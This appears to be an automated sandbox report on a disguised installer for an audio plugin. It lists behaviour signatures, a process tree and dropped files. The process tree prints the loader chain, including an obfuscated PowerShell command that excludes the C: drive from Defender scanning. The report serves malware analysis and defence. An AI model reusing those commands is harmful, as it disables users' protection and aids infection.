Overview

overview

7

Static

static

3

Massive 1....PC.exe

windows10-2004-x64

7

Massive 1....PC.exe

windows11-ltsc_2024-x64

7

Analysis

  • user interaction
    yes
  • max time kernel
    75s
  • max time network
    87s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/08/2026, 02:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Massive 1.7.0 Setup PC.exe
  • Size 208.2MB
  • Sample260813-dbhjtsyth1
  • SHA256 697b63d4506128631e9a058eb9bd3727783001179c23f328d4791fd0df5f868b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
discoveryexecutionransomware

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 13 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 18 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 10 IoCs
  • Modifies registry class 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe
    "C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe"
    1⤵
    • Loads dropped DLL
    • Enumerates connected drives
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Native Instruments Massive\Native Instruments Massive 1.7\install\E6E86C9\setup.msi" AI_SETUPEXEPATH="C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe" SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1786348928 "
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      PID:4868
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3232
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 46D577C2517FB3CB92A5BF868DD865CF C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4976
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2840
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DD6C0CEFE584B84B8F0659A9B09362E2
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2908
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding CFC80A912DBB95EF167EAAB499971487 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        PID:3036
      • C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe
        "C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1220
      • C:\Windows\Installer\MSIC6B0.tmp
        "C:\Windows\Installer\MSIC6B0.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\Admin\AppData\Local\Temp\cmd.bat"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4772
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\cmd.bat" "
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1068
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "tar -xf A.jpg -C $env:public"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3132
            • C:\Windows\system32\tar.exe
              "C:\Windows\system32\tar.exe" -xf A.jpg -C C:\Users\Public
              5⤵
                PID:3492
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -Command "Move-Item -Path 'A.jpg' -Destination $env:public"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4724
            • C:\Windows\system32\wscript.exe
              wscript.exe "C:\Users\Public\A.vbs"
              4⤵
              • Checks computer location settings
              • Executes a VBScript file via the Windows Script Host.
              • Suspicious use of WriteProcessMemory
              PID:3992
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -f C:\Users\Public\E.ps1
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3000
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c ".([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -ExclusionPath ([Char]67+[Char]58+[Char]92);.([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -ExclusionProcess 'powershell.exe'"
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5024
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:2552

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e586a12.rbs
            • Path C:\Config.Msi\e586a12.rbs
            • Size 1.9MB
            • SHA256 98b5337d71978bac13acf78a731735ea73ca002250dd9525bd6bd04a543c39ed
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 66f7bd8eda998603053101bd21ef0d452df7d7d5bb4c033cbb345ff370af2167
            • MD5 SHA1 SHA512
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
            • MD5 SHA1 SHA512
            Submit Download

            MSI2C0D.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C0D.tmp
            • Size 997KB
            • SHA256 7bbf611f5e2a16439dc8cd11936f6364f6d5cc0044545c92775da5646afc7752
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            __PSScriptPolicyTest_m22jrwnn.mog.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m22jrwnn.mog.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            pre2D68.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\pre2D68.tmp
            • Size 886KB
            • SHA256 0b73497f2ad7a4a04f36b8d46816c5404ba828d7feeca90b3abe28599e9c4619
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            A.jpg
            • Path C:\Users\Admin\AppData\Roaming\Native Instruments Massive\Native Instruments Massive 1.7\install\E6E86C9\TempFolder\A.jpg
            • Size 569KB
            • SHA256 a594832685c5c6be23940a7cd5ecec57c5a3099228079c9d5864229594a684c5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            cmd.bat
            • Path C:\Users\Admin\AppData\Roaming\Native Instruments Massive\Native Instruments Massive 1.7\install\E6E86C9\TempFolder\cmd.bat
            • Size 373B
            • SHA256 36b527a73d69e980b4a2e8b1855dcad920d88dc473780c27088d60773cabab4c
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            setup.msi
            • Path C:\Users\Admin\AppData\Roaming\Native Instruments Massive\Native Instruments Massive 1.7\install\E6E86C9\setup.msi
            • Size 3.8MB
            • SHA256 0267a90c40194fe357ee0fae2f22c647dc47fbfa99c217964cec6781536bccc3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            A.vbs
            • Path C:\Users\Public\A.vbs
            • Size 96B
            • SHA256 0eef1d1aafae7c9abcf6270267aec6646d0a813681b2531bbea2447698a9391f
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            E.ps1
            • Path C:\Users\Public\E.ps1
            • Size 3KB
            • SHA256 3e6cc89881258d0885720d350736be159bfbc20dad4481e58efcaf7aadb6bf64
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            MSIC323.tmp
            • Path C:\Windows\Installer\MSIC323.tmp
            • Size 967KB
            • SHA256 5011c2403744c70efa01ce5341a8da118667268d74a0f046a5f7e93290b69529
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSIC6B0.tmp
            • Path C:\Windows\Installer\MSIC6B0.tmp
            • Size 532KB
            • SHA256 831375810426bd21735509c377b28e5553e3b59026c48f579b1143ec70b40fd1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            metadata-2
            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 24.1MB
            • SHA256 bb622e6d237b14378126d13a6e3a49142ad806b01374163de9ec3a4ba273efdc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            {f2fda454-d17a-46e1-8c51-dcdc8c15e22e}_OnDiskSnapshotProp
            • Path \??\Volume{0dfc9b49-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{f2fda454-d17a-46e1-8c51-dcdc8c15e22e}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 598dc4784f1d993e0290cb7f9d7940ca445619da8133c1ca4487b4aaaf79e936
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/3132-103-0x0000017EC1F00000-0x0000017EC1F22000-memory.dmp
            Download